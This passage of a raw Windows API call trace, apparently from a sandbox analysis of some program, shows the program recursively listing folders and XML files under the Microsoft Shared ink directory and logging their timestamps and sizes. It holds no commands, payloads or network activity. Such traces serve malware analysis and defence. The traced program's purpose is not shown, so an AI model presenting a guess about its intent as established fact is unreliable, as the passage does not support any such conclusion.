ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0215.931] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.931] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.931] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0215.931] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0215.932] GetProcessHeap () returned 0x560000 [0215.932] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0215.932] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0215.932] GetProcessHeap () returned 0x560000 [0215.933] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0215.933] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0216.361] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.361] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0216.362] GetProcessHeap () returned 0x560000 [0216.362] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bdaa88 [0216.363] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0216.363] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.363] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0216.364] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0216.364] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0216.364] GetProcessHeap () returned 0x560000 [0216.364] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bdaa88 | out: hHeap=0x560000) returned 1 [0216.364] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0216.365] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0216.365] GetProcessHeap () returned 0x560000 [0216.365] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bdaa88 [0216.365] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0216.365] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.365] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0216.365] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0216.366] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0216.366] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0216.366] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0216.366] GetProcessHeap () returned 0x560000 [0216.367] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bdaa88 | out: hHeap=0x560000) returned 1 [0216.367] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0216.367] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0216.367] GetProcessHeap () returned 0x560000 [0216.367] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bdaa88 [0216.367] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0216.424] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.424] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0216.424] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0216.425] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0216.425] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0216.425] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0216.426] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0216.426] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0216.426] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0216.427] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0216.427] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0216.427] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0216.428] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0216.428] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0216.428] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0216.428] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0216.431] GetProcessHeap () returned 0x560000 [0216.431] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bdaa88 | out: hHeap=0x560000) returned 1 [0216.431] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0216.432] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0216.432] GetProcessHeap () returned 0x560000 [0216.432] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bdaa88 [0216.432] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0216.432] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.433] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0216.433] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: 